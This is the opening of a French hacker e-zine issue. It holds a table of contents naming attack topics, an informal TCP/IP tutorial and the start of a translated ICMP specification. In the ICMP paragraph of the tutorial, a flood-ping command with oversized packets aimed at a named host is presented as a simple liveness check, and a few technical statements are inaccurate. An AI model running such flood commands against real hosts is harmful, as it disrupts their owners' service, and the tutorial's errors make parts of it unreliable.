_-==^N°1^==-_ *°°* -==Linux [S]ecurité And [A]dministration Team==- ______________ |**************| |**~Linux.SA~**| |**************| ---------------- -=@@[Linux.SA]@@=- *°°* Disclaimer : Ben se mag est que pour la securité , tous les articles qui si trouve sont la pour un but educatif.Toute l'equipe de linux-sa ne ce tiens responsable de se que vous ferez avec ces textes. -==Linux.SA==- -=*n°1*=- ~Table des matieres : ----------------------------------------------------------------------------- http://linux-sa.netliberte.org -> linux-sa@netliberte.org ----------------------------------------------------------------------------- -PROTOCOLE -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #Kewl(Noroute)# =- [|] -= #TCP/IP# =- -= #un mec# =- [|] -= #ICMP# =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -PROGRAMMATION: -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #Klog# =- [|] -= #BUFFER OVERFLOW# =- -= #Lionel# =- [|] -= #Socket# =- -= #Darkbug# =- [|] -= # ASM # =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -SECURITé: -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #un mec# =- [|] -= #Improving the Security of Your Site# =- -= #Trom# =- [|] -= #Firewall# =- -= #Lionel# =- [|] -= #anti-hack# =- -= #Un mec# =- [|] -= #sendmail list ver. bug# =- -= #Lionel# =- [|] -= #cgi-pb# =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -PROGRAMMES: -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #Lionel# =- [|] -= #NFS# =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -IRC: -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #Lionel# =- [|] -= #ANTI-TO-DENIAL# =- -= #Fred# =- [|] -= #Ircd# =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -EXPLIQUATION DU: -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #Un mec# =- [|] -= #Hijacking# =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -NEWS: -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= *Auteur* =- [|] -= *Titre* =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- -= #Lionel# =- [|] -= #NEWS# =- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- ----------------------------------------------------------------------------- Apres une tres longue attente se mag sort enfin!J'espere que vous le trouverez bien.Stop le blabla GO. ----------------------------------------------------------------------------- ~~# PROTOCOLES #~~ ----------------------------------------------------------------------------- -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- TCP Protocole -> Transmission Control Protocol By Kewl (Noroute) -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- Protocoles ========== Ben en fait, on dit toujours TCP/IP mais en fait les protocoles TCP et IP sont les plus utilises, si c'etait ICMP et UDP p'etre kon appellerai ca ICMP/UDP :o) En fait c pas par hasard, c car il existe une hierarchie entre les protocoles.. dont voila un petit dessin ki montre ke les RAW sockets permettent l'interfacage a la couche IP, ceux du type DGRAM a UDP, ainsi que ceux du type STREAM a la couche TCP. |------------------|--------------| Les protocoles utilises sur Internet | TELNET RWHO | RUSERS | sont bien decrits par les RFC (Requests | FTP TFTP | RSTAT | for Documents), disponibles sur les | | | protocoles sur la gauche de ce texte, | | | et quand on dit pas mal, c pas faux :o) | RLOGIN TALK | WALL | ftp.lip6.fr/pub/rfc, il decrivent avec | RSH DNS | RQUOTA | pas mal de precision. Donc je vais | | | decrires maintenant les principaux | | | protocoles .. | REXEC SMNP | NIS | | SMTP | NFS | 1. IP | |--------------| Ben c'est celui a qui on doit le | | | routage et la fragmentation des | | | paquets, il est sans connection. | | XDR | Quand on dit routage, en fait on va | | | dir que son boulot est de trouver | |--------------| trouver le routeur qu'il faut pour | | | atteindre la destination, alors | | | c'est grace a lui que la bonne | | RPC | interface est choisie. Donc aussi | | | il gere la fragmentation des |---------------------------------| paquets, ben ouais il faut bien, car | | les protocoles superieurs (TCP/UDP) | | sont coupes en fragments IP de tailles | Socket STREAM Socket DGRAM | maximale qui depend de l'interface | | utilisee. En reception, IP reassemble |---------------------------------| les fragments. Cette taille depend | | du support utilise | RCP UDP | (1500 octets sur l'ethernet et 4352 | | sur une fibre optique FDDI). |---------------------------------| | Interface RAW Socket | 2. ARP et RARP |---------------------------------| ARP = Adress Resolution Protocol, | | il permet de faire une correspondance | | entre une adresse IP de 4 octets | ARP ICMP <------> IP | (A.B.C.D) vers une forme ethernet | | en 6 octets (A:B:C:D:E:F) et de savoir |---------------------------------| quelle carte est sur quelle IP. | | RARP, (Reverse ARP), ben soyons pas | ETHERNET ISO 8802.3 X25-3 | bete, tout le monde a devine son | | utilite ! ----------------------------------- 3. ICMP Bon disons plutot que ICMP c Internet Control Message Protocol. En bref il permet d'analyser les blemes de communications. Grace a lui, on peut aussi savoir si une machine est en marche (ex : ping -s 65000 -f warez.2-go.com). Encore, un routeur peut donner des directives a une machine pour lui donner une meilleure route pour atteindre une machine (ICMP redirect).Voir article sur le protocole icmp dans le mag, pour plus d'info. 4. UDP Il est oriente datagramme qui achemine les messages tels quels, sans ouverture de connection, et sans garantie de port egalement. Il peut etre utilise en point a point (vers un seul destinataire), ou en mode diffusion. En mode diffusion, UDP est utilise par talkd, tftpd et encore NFS.(voir prochain n° du mag, pour plus d'info) 5. TCP TCP = Transmission Control Protocol, il est oriente connexion, dont la vie est l'etablissement de la connection, la transmission des donnees et enfin la liberation de la connection. TCP ramene les segments sans decoupage ni regroupement, et garantie le bon port. En cas d'erreur de transmission, ben c'est tout simplement retransmi :), biensur grace a un controle de flux. TCP est utilise par les protocoles ftp, telnet, rlogin, lpd, X11. TCP est le protocole #6. Le niveau TCP ============= Donc TCP est le responsable de la fracture de messages en datagrammes, les reassemblant a l'autre bout, dans le meme ordre. IP est le responsable du routage de chaque datagramme. On pourrait dire que TCP fait tout le travail, dans les petits reseaux cela est vrai, mais sur Internet, envoyer un datagramme vers une autre machine n'est pas un simple boulot. Une connection peut forcer le datagramme a passer a travers toute une serie de reseaux, tels qu'une ligne Serie a 56 kbit/s, ensuite un reseau ethernet pour enfin arriver sur une FDDI, etc.. Garder la piste du chemin vers toutes les destinations et transporter les incompatibilites de differents medias de transport sont un travail pas tres simple... Notons que l'interface entre TCP et IP est quand meme assez simple. TCP fait simplement un datagramme avec une destination. Il ce peut (surement meme), qu'il manque quelque chose ici. On a tous parle d'adresses Internet, mais jamais comment gerer des multiples connections vers un systeme donne. Clairement, ca suffit pas de faire des datagrammes vers la bonne destination. TCP doit savoir quel datagramme fait parti ce cette connection. Cette tache est le demultiplexage. En fait, il y a toute une serie de de demultiplexages qui vont sur TCP/IP. Les informations dont on a besoin pour ce demultiplexage sont contenues dans des series de headers. Un header est simplement quelques tout petit octets places au debut de chaque datagramme par quelques protocoles dans le but de garder une piste de lui. C'est un peu comme mettre une lettre dans une enveloppe et mettre une adresse a l'exterieur de l'enveloppe. Sauf avec les reseaux modernes cela arrive souvent. C'est comme quand tu veux mettre une lettre a l'interieur d'une enveloppe, ta secretaire la met dans quelque chose plus gros qu'une enveloppe, puis le service du courier met encore ce truc plus gros qu'une enveloppe dans un encore plus gros.. Voici un appercu des headers qui font coller un message ki passe a travers un reseau TCP/IP : On commence par une simple donnee, par exemple tu essaies d'envoyer un fichier vers un autre ordinateur : ................................................................... TCP lui casse ca en morceaux dont il peut s'occuper. (biensur pour pouvoir le faire, il doit savoir quelle taille maximum un datagramme peut avoir sur ton type de reseau) .... .... .... .... .... .... .... .... .... .... TCP met un header au debut de chaque datagramme. Ce header contient au moins 20 octets, mais les plus importants sont les numeros de ports d'emission et de destination et le sequence number. Les numeros de port sont utilises pour garder une piste de differentes conversations. Suppose voir que trois personnes transferent des fichiers. Ton TCP peut etre leur donnera les ports numero 1000, 1001 et 1002 pour ces transferts. Quand tu envoies un datagramme, ca devient le port de source, puisque tu es sur la source du datagramme. Et biensur TCP de l'autre extremite a assigne un port des siens pour la conversation. Ton TCP doit aussi savoir quel port est utilise sur l'autre extreme. (Il le trouve quand la communication commence.) Il envoie ca dans le "champ" port de destination. Biensur si de l'autre cote est rerenvoye vers toi, les ports de source et de destination seront inverses, ensuite il sera le source et toi tu seras la destination. Chaque datagramme a un sequence number. Ceci est utilise alors l'autre fin afin d'etre sur que la datagramme a ete recu dans le bon ordre, et qu'en en a loupe aucun. TCP ne numerote pas les datagrammes ,mais les octets. Donc s'il y a 500 octets de donnees dans chaque datagramme, le premier sera "numerote" 0, le second 500, le suivant 1000, le suivant 1500, etc........ Finalement, on va parler du Checksum (somme de controle). C'est un nombre qui est calcule en ajoutant tout les octets du datagramme. Le resultat est mit dans le header. TCP de l'autre cote verifie ce checksum aussi, et si ils ne sont pas d'accord, c'est que kelke chose de mauvais est apparu lors de la transmission, et il est jete au loin. Voila a quoi ressemble un petit datagramme : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Port Source | Port de Destination | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | donnees ... prochains 500 octets | | ...... | Si on abregeait l'entete TCP par "T", le fichier ressemblairait a ceci : T.... T.... T.... T.... T.... T.... T.... Tu noteras qu'il y a des choses dont j'ai pas parle dans le header.. Ils sont generalement invoques avec la gestion de la connection. Pour etre sur qu'un datagramme est arrive a sa destination, le receveur as a renvoyer un "acknowledgement". C'est un datagramme dans lequel le champ "Acknowledgement number" est rempli. Par exemple, envoyer un paquet avec un acknowledgement de 1500 indique que tu as recupere toutes les donnees jusqu'a 1500. Si l'envoyeur ne recoit pas un acknowledgement dans un delais raisonnable, il renvoie les donnees. La fenetre (Window) est utilisee pour controler combien de donnees peuvent transiter a un moment. Il n'est pas pratique d'attendre que chaque datagramme soit acknowledged avant d'envoyer le suivant. Et aussi faut dire que ca ralentisserait, et pas qu'un peu. D'autre part, tu ne peux pas que envoyer, ou un ordinateur rapide pourrait subir des indigestions a un plus petit qui recoit les donnees. Alors il y a un champ "Window", et des qu'un ordinateur a envoye des donnees, ce champ diminue, et s'il est vide, il arrete d'envoyer. Quand le recepteur recoit les donnees, il augmente sa fenetre (Window), en indiquant qu'il est pret a recevoir plus de donnees. ----------------INFO SUPLEMENTAIRE-------------------------- Connexion virtuelle sécurisée : entre les deux extrémités de la connexion, TCP établit une connexion virtuelle qui s'apparente plus à une connexion téléphonique qu'à un envoi "aveugle" de paquets IP. Dans le cadre du protocole TCP, les deux intervenants conversent dans le but d'identifier les paquets mal transmis ou disparus avant de les transmettre à nouveau, garantissant ainsi la fiabilité de la communication. Duplex intégral : la communication fonctionne dans les deux sens. Les deux intervenants peuvent ainsi expédier et recevoir des données en même temps. Garantir la communication La tâche essentielle de TCP est de garantir la communication en répétant la transmission de paquets de données erronés ou perdus. Cela ne peut se faire sans le concours du destinataire, car lui seul sait quels paquets sont déjà arrivés. Suivant un schéma plus simples, il transmet une confirmation - ou "Acknowledge", à son correspondant pour chaque paquet parvenu à bon port et dont la somme de vérification a permis d'établir que ce paquet est intact. En revanche, si la vérification donne lieu à la découverte d'une erreur, cela se traduit par l'envoi d'un "Non-Acknowledge", c’est-à-dire une "non confirmation" signalant que le paquet reçu n'est pas conforme. Dans un cas comme dans l'autre, l'expéditeur attend de recevoir un message Acknowledge ou Non-Acknowledge en provenance de son correspondant. Après réception de l'Acknowledge, celui-ci expédie le paquet suivant. Dans le cas de Non-Acknowledge, l'expéditeur reprend la transmission du dernier paquet jusqu'à ce qu'il obtient un Acknowledge avant de passer au paquet suivant. Les données non repues sont déterminantes... Ce procédé semble crédible à première vue, mais il réserve de nombreux pièges. En effet, on ne peut réagir qu'aux Acknowledgments/Non-Acknowledgments reçus. Mais qu'advient-il des messages non reçus, qui se sont perdus en cours de route (pourquoi les Acknowledgments ne subiraient-ils pas le même sort que d'autres paquets de données ?), ou qui n'ont pas été expédiés ? En effet, tant qu'un paquet n'atteint pas le destinataire, ce dernier ne renvoie aucun des deux messages. Mais comme l'expéditeur ne réagit également qu'à l'un des deux messages, la situation se trouve bloquée. Dans cette éventualité, l'expéditeur doit installer un compteur lime eut pour chaque paquet transmis. Une fois le délai échu, l'expéditeur considère qu'aucun message du destinataire ne lui parviendra plus, parce que le paquet ou le message correspondant s'est perdu. Dans ce cas, l'expéditeur transmet une nouvelle fois le paquet de données tout en lançant un nouveau timer en prévision du cas où l'Acknowledge ne serait toujours pas renvoy . Inconvénients de ce procédé Cependant, le timer ne permet pas de remédier à un inconvénient majeur de ce procédé : les piètres performances de ce type de communication. La bande passante mobilisée est en effet largement gaspillée, puisque l'expéditeur ne transmet le paquet suivant qu'après avoir reçu confirmation de la réception du paquet précédent. Avant de transmettre un nouveau paquet, l'expéditeur attend au moins deux fois plus de temps qu'il n'en faut au paquet pour être acheminé dans un sens. Le paquet expédié doit tout d'abord parvenir à destination (premier trajet), où il est exploité et traité (ce qui prend également un moment), après quoi la réponse doit encore parvenir à l'expéditeur (second trajet). Il ne se passe rien pendant tout ce temps, bien que la connexion Internet soit intégralement disponible. 0ptimisation du principe de "sliding window " Il n'est donc pas surprenant que le concept de confirmation positive par Acknowledges ait été légèrement approfondi pour TCP et ainsi considérablement renforcé. L'idée maîtresse est ici de ne pas expédier systématiquement un seul paquet avant d'attendre confirmation, mais plusieurs paquets : trois, cinq ou huit, par exemple. On accorde ainsi au destinataire une sorte de crédit de confiance avant d'en attendre confirmation. Dès que l'Acknowledge du premier paquet est reçu, le paquet suivant non encore expédié est envoyé sur la ligne. L'opération se répète ainsi pour les Acknowledges suivants. Pour chaque nouvel Acknowledge concernant un paquet précédent, le paquet suivant non encore transmis est expédié. Ainsi, plusieurs paquets circulent en permanence, bien que l'expéditeur soit encore obligé d'attendre un Acknowledge avant d'envoyer le paquet suivant. La bande passante disponible est donc exploitée bien plus efficacement. Le procédé utilisé à cet effet est connu depuis des années. Les ouvrages spécialisés l'ont toujours désigné du nom de "sliding window". Il est utilisé non seulement par TCP, mais aussi par de nombreuses autres formes de communication ayant pour but de produire à l'aide de confirmations positives une voie de communication fiable sur la base d'un service de paquets incertain. C'est notamment le cas de RNIS. Le procédé doit son nom au fait que l'expéditeur place une sorte de fenêtre (window, en anglais) sur le flux de caractères devant être expédiés. Au début de la transmission, ce dernier envoie en premier lieu tous les paquets inclus dans cette fenêtre (d'expédition). Il effectue alors un repli dans l'attente d'Acknowledges émanant du correspondant. À chaque confirmation, la fenêtre se décale sur la droite de manière à exclure le paquet confirmé situé sur la gauche. Cependant, la fenêtre n'est pas réduite. Elle se décale simplement sur la droite du flux de paquets devant être expédiés, incluant ainsi un nouveau paquet du côté droit de la fenêtre. Ce dernier s'ajoute ainsi aux autres paquets dont le traitement est en cours, et il est immédiatement expédié sur la ligne téléphonique. pendant la durée de la transmission, la fenêtre d'expédition défile par conséquent de gauche à droite au-dessus du flux de paquets devant être transmis, tout en divisant celui-ci en trois groupes : •Tous les paquets situés à gauche de la fenêtre... : ont déjà été expédiés et confirmés. L'expéditeur n'a plus à s'en occuper. •Tous les paquets compris dans la fenêtre... : ont déjà été expédiés, mais pas encore confirmés. Leur nombre dépend de la largeur de la fenêtre. •Tous les paquets situés à droite de la fenêtre... : attendent d'être inclus dans la fenêtre pour être envoyés. Plus les Acknowledges en provenance du destinataire parviennent rapidement à l'expéditeur, plus vite ces paquets se rapprochent de la fenêtre. Caractéristiques de TCP •Orienté connexion : transfert de flots d'octets entre deux applications. •Circuits virtuels : mise en communication, par l'intermédiaire de ports, des applications. •Transferts tamponnés : optimise les transferts, de manière indépendante de la production et de la consommation des données ; permet de désynchroniser les applications. •Connexion bidirectionnelle : deux flots indépendants, de sens contraîre ; mais une application peut libérer l'une des transmissions. Note Le champ CODE est composé de 6 bits, dont la signification est (de gauche à droite) : •URG Le pointeur de données urgentes est valide •ACK Le champ d'accusé de réception est valide •PSH Ce segment requiert un push •RST Réinitialiser la connexion •SYN Synchroniser les numéros de séquence •FIN L'émetteur a atteint la fin de son flot de données Remarques : •les données ``urgentes'' sont immédiatement transmise à l'application, même si des données plus anciennes sont en attente dans les tampons du système sur la machine réceptrice. •``pousser'' une donnée signifie forcer l'émission de cette donnée, même si une trame IP doit être envoyée avec moins de données qu'elle ne peut en contenir. ------------------- Le niveau IP ============ TCP envoie chaqun de ces datagrammes a la couche IP. Biensur on doit dire a IP l'adresse de la machine de l'autre bout. Note quand meme que c'est tout ce qu'IP est concerne de faire. Il s'en fiches de ce qu'il y a dans le datagramme, ou meme dans le header TCP. Son boulot est simplement de trouver le chemin pour que le datagramme arrive jusqu'a sa destination. Pour permettre aux routeurs intermediaires d'envoyer le datagramme, il ajoute son propre header. La principale chose qu'on y trouve sont les IPs de source et de destination (adresses 32 bit, comme 128.6.4.194), le numero du protocole, et un autre cheksum. L'adresse source est simplement l'adresse de ta machine, c'est necessaire pour que l'autre sache d'ou ca vient. L'adresse de la machine de destination est l'adresse de l'autre machine, ce qui est necessaire aux routeurs entre pour connaitre ou tu veux que le datagramme ailles. En debit du fait que le trafic IP utilise TCP, il y a d'autres protocoles qui peuvent etre utilises avec IP, donc il faut dire a IP quel protocole il faut envoyer sur le datagramme. Finalement, le checksum permettra a IP de l'autre cote de verifier que le header n'a pas etre bousille lors du voyage. Note aussi que TCP et IP ont des checksums independants. IP a besoin d'etre capable de verifier que le header (entete) n'a pas etre endommage durant le transport, sinon il pourrait envoyer un message a un mauvais endroit. Pour des raisons que je ne vais pas expliquer, il est plus efficace et plus sur d'avoir TCP qui calcule son cheksum separement pour le header TCP et les donnees TCP. Quand IP a mit son header, voila a quoi le message ressemble : +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TCP header, then your data ...... | | | Si on represente le header IP par un "I", ton fichier ressemblerait a ca : IT.... IT.... IT.... IT.... IT.... IT.... IT.... Aussi, le header contient des autres champs sont j'ai pas cause avant.. Le "flag" et "Fragment Offset" sont utilises pour garder une piste des pieces quand un datagramme doit merder. Ca peut arriver quand les datagrammes sont envoyes a travers un reseau pour lequel ils sont trop gros. La duree de vie "Time to Live" est un numero qui decroit lorsque que le datagramme passe a travers un systeme. Quand il devient nul, il datagramme est detruit. Ceci est fait en cas de deplacement en boucle du paquet. A ce point, c'est possible qu'il y ait plus de headers necessaires, si ton ordinateur est parfois connecte via une ligne modem vers l'ordinateur de destination, ou via un routeur, il pourrait simplement envoyer les datagrammes hors de la ligne.. Descriptions generales ====================== ben ouais, si la c'est pas clair, relit depuis le debut :).. Bon aller rapidement.. TCP/IP est une serie de protocoles. On va voir un petit exemple plutot que d'expliquer encore la meme chose. Avant tout, il y a un mail. Donc des commandes a envoyer vers une autre machine, par exemple les commandes qui disent qui est l'envoyeur, a ki il va et le texte du message. Ben euh, ce protocole n'assume pas le chat entre les 2 machines ? Et ben, c'est que le Mail, comme un autre protocole utilise sur le net, utilise simplement des commandes et de messages a etre envoyes. Il est concu pour etre utilise avec TCP et IP, et TCP est responsable de faire passer les commandes vers l'autre bout, puis IP de les envoyer... voila en bref. (compris maintenant ???) Dit tu aimes le mail ? Sockets et Applications ======================= Avant on a cause de la decomposition des donnees en paquets, pour etre envoye ailleurs, et reassemble de l'autre cote. Avant de continuer, je vais boire un coup, puis donner quelques detail sur des applications. Suppose voir que tu veuilles envoyer un fichier a ton pote qui est sur la machine dont l'adresse est 128.6.4.7. Pour commencer le processus, tu dois savoir plus qu'une adresse internet. Tu dois te connecter sur un serveur FTP a l'autre bout. En general, les programmes reseau sont specialises dans ce type de boulot. La plupart des machines ont plein de programmes qui tournent pour gerer le transfert de fichiers, le login a distance, courier, etc... Enfin quand tu te connectes sur 128.6.4.7, tu dois dire que tu veux parler au serveur FTP. Ce qui est fait en avant des sockets connus sur chaque serveur. Ye Rappelle que TCP utilise le numero de port pour garder une trace des conversations en cours. Les programmes de l'utilisateur utilisent normalement plus ou moins de ports au hasard, bienque les ports specifiques sont assignes pour les programmes qui attendent une demande particuliere. Par exemple. si tu veux envoyer un fichier, tu commences a lancer ftp, il ouvriera une connection sur un port au hasard, par exemple 1234, pour le port utilise a l'autre bout. Enfin il specifiera le port 21 de l'autre cote, qui est le port officiel des serveurs ftp. Note quand meme qu'il y a deux differents programmes en cours.. Tu lances ftp de ton cote, Il y a un programme dont le but est d'accepter des commandes depuis ton terminal et qui les balances de l'autre cote, ce programme qui te cause c'est le serveur FTP. Il a ete designe pour accepter des commandes depuis la connection reseau. Aussi une connection est decrite par ces 4 nombres : Addresses Internet Ports TCP connection 128.6.4.194, 128.6.4.7 1234, 21 Et ben donc on peut dire FTP c nul a chier !! Il a besoin de deux connections, il commence comme le mail, et on lui dit "connecte moi sous tel utilisateur", "tiens voila mon mot de passe", "envoie moi ce fichier avec ce nom"... Et des que tout ca est fait, une seconde connection est ouverte pour les donnees seules. Il serait certainement possible d'envoyer les donnees sur la meme connection, comme SMTP fait, mais bon c comme ca et c tout et arrete de poser des questions ! :). En fait je vais dire plutot c car les transferts de files sont souvent long . Ceux qui ont cree le ftp ont voulu permettre a l'utilisateur de permettre d'envoyer des commandes pendant le transfert, tel que abandonner le transfert en cours, arf.. D'autres protocoles utilisent un principe plus ou moins similaire.. Et si ca te passionne, matte toujours les RFCs... Adresses Internet (petite notion) ================= Donc les adresses internet sont codees sur 32 bits, ecrites sous la forme de 4 octets (en decimal), par ex. 128.6.4.7. Actuellement il y a 3 types d'adresses. Le probleme est que l'adresse doit indiquer a la fois le reseau ainsi que la machine a l'interieur du reseau. Donc on a les classes IP. La classe A, pour les reseaux immenses, tels que Arpanet, cette classe est limite a 126 reseaux au total. Pour les gros reseaux, il y a la classe B, qui correspond a tous les reseaux entre 128.1 et 191.254, ce qui permet d'adresses le reseau local sur 16 bits, donc d'avoir 64516 machines, ce qui suffit pour la plupart des organisations, en si ca ne suffit pas, on peut avoir plusieurs classes B :). Finalement, la classe C, dont la partie reseau est codee sur 3 octets, de 192.1.1 et 223.254.254, permet d'avoir 254 machines sur chaque reseau, mais on peut avoir beaucoup de tels reseaux. Quelques valeurs speciales qui sont reservees dans les adresses IP, 0 et 255 qui ont des significations particulieres, 0 pour les machines qui ne connaissent pas leur adresses. 255 est utilise pour le broadcast, qui est un message que tu veux que chaque machine sur le reseau voie, c'est utilise par exemple quand tu ne sais pas a qui parler, par exemple suppose que tu dois trouver l'adresse internet d'une machine a partir de son nom. Parfois tu ne sais pas quelle est l'adresse du serveur de noms le plus proche. Dans ce cas, p'etre tu envoie une requete au broadcast. Kewl of Noroute -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- INTERNET CONTROL MESSAGE PROTOCOL (ICMP) -=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=- RFC: 792 Statut : Standard Remplace: RFCs 777, 760 Remplace: IENs 109, 128 INTERNET CONTROL MESSAGE PROTOCOL SPECIFICATION Le texte suivant est la traduction intégrale de la spécification ICMP, telle qu'éditée par les auteurs originaux du protocole, sans ajouts, commentaires, ni omissions. Ce document est un standard reconnu et approuvé par la communauté Internet. Table des matières Introduction Formats de message Message "destinataire non accessible" Message "Durée de vie écoulée" Message d'erreur de paramètre Message de contrôle de flux Message de redirection Message d'écho et de "réponse à écho" Marqueur temporel ou réponse à marqueur temporel Messages Demande d'Information et Réponse Résumé des types de Message Références Introduction Le Protocole Internet (IP) [1] est utilisé pour la transmission de datagrammes de hôte à hôte à l'intérieur d'un système de réseaux interconnectés appelé Catenet [2]. Les appareils raccordant les réseaux entre eux sont appelés des Routeurs. Ces routeurs communiquent entre eux en utilisant le protocole Routeur à Routeur (GGP) [3,4] afin d'échanger des informations de contrôle et de gestion du réseau. Occasionnellement, un routeur ou un hôte destinataire peut avoir à communiquer vers l'émetteur du datagramme, par exemple, pour signaler une erreur de traitement du datagramme. C'est dans cette perspective qu'a été mis en place le protocole Internet Control Message Protocol (ICMP). Il s'appuie sur le support de base fourni par IP comme s'il s'agissait d'un protocole d'une couche supérieure. ICMP n'en reste pas moins une partie intégrante du protocole IP, et doit de ce fait être implémenté dans chaque module IP. Les messages ICMP sont envoyés dans diverses situations: par exemple, lorsqu'un datagramme ne peut pas atteindre sa destination, lorsque le routeur manque de réserve de mémoire pour retransmettre correctement le datagramme, ou lorsque le routeur décode de viser l'hôte destinataire via une route alternative pour optimiser le trafic. Le protocole Internet n'est pas, dans sa définition, absolument fiable. Le but de ces messages de contrôle est de pouvoir signaler l'apparition d'un cas d'erreur dans l'environnement IP, pas de rendre IP fiable. Aucune garantie que le datagramme soit acheminé ni qu'un message de contrôle soit retourné, de peut être donnée. Certains datagrammes pourront se perdre dans le réseau sans qu'aucun message de contrôle ne le signale. Les protocoles de niveau supérieur s'appuyant sur une couche IP devront implémenter leurs propres mécanismes de contrôle d'erreur et de retransmission si leur objet nécessite un circuit de communication sécurisé. Les messages ICMP reportent principalement des erreurs concernant le traitement d'un datagramme dans un module IP. Pour éviter de ne pas entrer dans un cercle vicieux de réémission de message de contrôle en réponse à un autre message de contrôle et ce sans fin, aucun message ICMP ne sera réémis en réponse à un message ICMP. De même les messages ICMP ne seront transmis qu'en réponse à un traitement erroné du fragment zéro dans le cas d'un datagramme fragmenté. (Le fragment zéro est celui dont l'offset vaut zéro). 